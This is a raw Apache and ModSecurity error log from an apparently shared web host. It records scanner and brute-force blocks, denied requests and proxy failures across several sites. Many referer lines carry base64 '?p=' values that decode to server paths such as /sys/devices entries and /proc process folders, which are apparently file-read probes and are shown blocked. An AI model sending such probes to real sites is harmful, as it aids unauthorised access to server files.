"webmail.acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30m7V-dFiaX9AtWiQohwAAASw"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:55.223915 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:23:55.224353 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:23:55.520075 2026] [security2:error] [pid 715691:tid 715837] [remote 17.241.227.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30m7V-dFiaX9AtWiQokgABcn4"] [Sat Jun 13 18:23:55.612836 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.5:25609] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:55.613126 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.5:25609] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:55.689276 2026] [access_compat:error] [pid 715691:tid 715719] [remote 57.141.14.37:45946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:55.689674 2026] [access_compat:error] [pid 715691:tid 715719] [remote 57.141.14.37:45946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:55.772005 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:23:55.772452 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:23:55.797074 2026] [security2:error] [pid 646876:tid 647087] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_sun_info_error.phpt"] [unique_id "ai30m9yTkdrNlD40tSHVoAAAAE8"] [Sat Jun 13 18:23:55.851556 2026] [security2:error] [pid 646876:tid 647005] [remote 17.22.245.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30m9yTkdrNlD40tSHVpAAAPn4"] [Sat Jun 13 18:23:56.097151 2026] [access_compat:error] [pid 715691:tid 715746] [remote 57.141.14.27:57944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:56.097617 2026] [access_compat:error] [pid 715691:tid 715746] [remote 57.141.14.27:57944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:56.276513 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:23:56.276847 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:23:56.300007 2026] [security2:error] [pid 715691:tid 715896] [client 192.178.6.38:57186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai30nLV-dFiaX9AtWiQotwAAAUE"] [Sat Jun 13 18:23:56.318665 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.3:26368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:56.318956 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.3:26368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:56.420522 2026] [security2:error] [pid 715691:tid 715759] [remote 119.195.102.159:52744] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.102.195.119.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "scholarsofsharlayan.com"] [uri "/wp-login.php"] [unique_id "ai30nLV-dFiaX9AtWiQougABHDA"] [Sat Jun 13 18:23:56.440607 2026] [proxy:error] [pid 715691:tid 715916] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:56.440748 2026] [proxy_http:error] [pid 715691:tid 715916] [client 195.96.139.133:49161] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:23:56.441786 2026] [proxy:error] [pid 715691:tid 715916] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:56.441842 2026] [proxy_http:error] [pid 715691:tid 715916] [client 195.96.139.133:49161] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:23:56.584717 2026] [security2:error] [pid 715691:tid 715830] [remote 17.241.219.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30nLV-dFiaX9AtWiQowgABUnc"] [Sat Jun 13 18:23:56.721302 2026] [security2:error] [pid 646876:tid 646945] [remote 17.22.253.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30nNyTkdrNlD40tSHVtgAAUEI"] [Sat Jun 13 18:23:56.754188 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.85:50916] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:56.754623 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.85:50916] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:56.840446 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:23:56.840881 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:23:57.385728 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.77:40041] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:57.386075 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.77:40041] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:57.394108 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:23:57.394423 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:23:57.420216 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.21:36623] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:57.420677 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.21:36623] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:57.463386 2026] [access_compat:error] [pid 715691:tid 715721] [remote 57.141.14.12:20454] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:57.463846 2026] [access_compat:error] [pid 715691:tid 715721] [remote 57.141.14.12:20454] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:57.594398 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.68:28612] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:57.594717 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.68:28612] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:57.612963 2026] [access_compat:error] [pid 715691:tid 715780] [remote 74.7.242.16:36118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:23:57.613239 2026] [access_compat:error] [pid 715691:tid 715780] [remote 74.7.242.16:36118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:23:57.736034 2026] [security2:error] [pid 715691:tid 715712] [remote 17.22.237.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30nbV-dFiaX9AtWiQo6QABhwI"] [Sat Jun 13 18:23:57.766436 2026] [security2:error] [pid 715691:tid 715800] [remote 17.246.23.29:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 29.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30nbV-dFiaX9AtWiQo7AABLVk"] [Sat Jun 13 18:23:57.909382 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQz [Sat Jun 13 18:23:57.909882 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQz [Sat Jun 13 18:23:58.000614 2026] [security2:error] [pid 715691:tid 715786] [remote 17.22.237.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30nbV-dFiaX9AtWiQo9gABPks"] [Sat Jun 13 18:23:58.364965 2026] [security2:error] [pid 715691:tid 715811] [remote 119.195.102.159:52744] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.102.195.119.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "scholarsofsharlayan.com"] [uri "/wp-login.php"] [unique_id "ai30nrV-dFiaX9AtWiQpAgABVWQ"], referer: https://scholarsofsharlayan.com/wp-login.php [Sat Jun 13 18:23:58.389400 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:23:58.389850 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:23:58.390519 2026] [security2:error] [pid 715691:tid 715711] [remote 145.239.79.139:45234] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dentiststudygroup.com"] [uri "/wp-login.php"] [unique_id "ai30nrV-dFiaX9AtWiQpBQABZwE"] [Sat Jun 13 18:23:58.468459 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.85:50926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:58.468759 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.85:50926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:58.481749 2026] [security2:error] [pid 715691:tid 715843] [client 47.79.206.119:15580] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.206.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai30nrV-dFiaX9AtWiQpCQAAAQw"], referer: 